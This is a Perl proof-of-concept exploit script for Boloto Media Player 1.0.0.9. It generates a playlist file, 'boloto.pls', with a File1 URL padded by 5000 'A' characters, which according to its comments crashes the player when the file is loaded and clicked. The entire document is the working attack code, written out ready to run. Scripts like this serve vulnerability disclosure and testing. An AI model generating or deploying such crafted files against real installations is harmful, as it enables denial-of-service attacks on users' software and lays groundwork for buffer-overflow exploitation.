#!/usr/bin/perl

# Boloto Media Player 1.0.0.9 Local (.PLS) Crash PoC
# Bug found by Dr_IDE
#
# Coded by Oscar Marques aka F-117.
# www.dunkelheit.com.br
# 09/11/09.
#
# It locks hard if you add this file to the playlist and click.

my $VERSAO = '0.1';

$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';

$buffer1 = "[playlist]\nNumberOfFiles=3\n\nFile1=http://";

$buffer2= "\x41" x 5000;

sub banner {
print ("\x42\x6f\x6c\x6f\x74\x6f\x20\x4d\x65\x64\x69\x61\x20\x50\x6c\x61\x79\x65\x72\x20\x31\x2e\x30\x2e\x30\x2e\x39\x20\x4c\x6f\x63\x61\x6c\x20\x28\x2e\x50\x4c\x53\x29\x20\x43\x72\x61\x73\x68\x20\x50\x6f\x43\n\x43\x6f\x64\x65\x64\x20\x62\x79\x20\x46\x2d\x31\x31\x37\x2e\n\n");
}

{
banner();
open(FILE, ">boloto.pls");
print FILE $buffer1 . $buffer2 ;
close(FILE); 
print("[+] File created successfully. Load it.\n");
}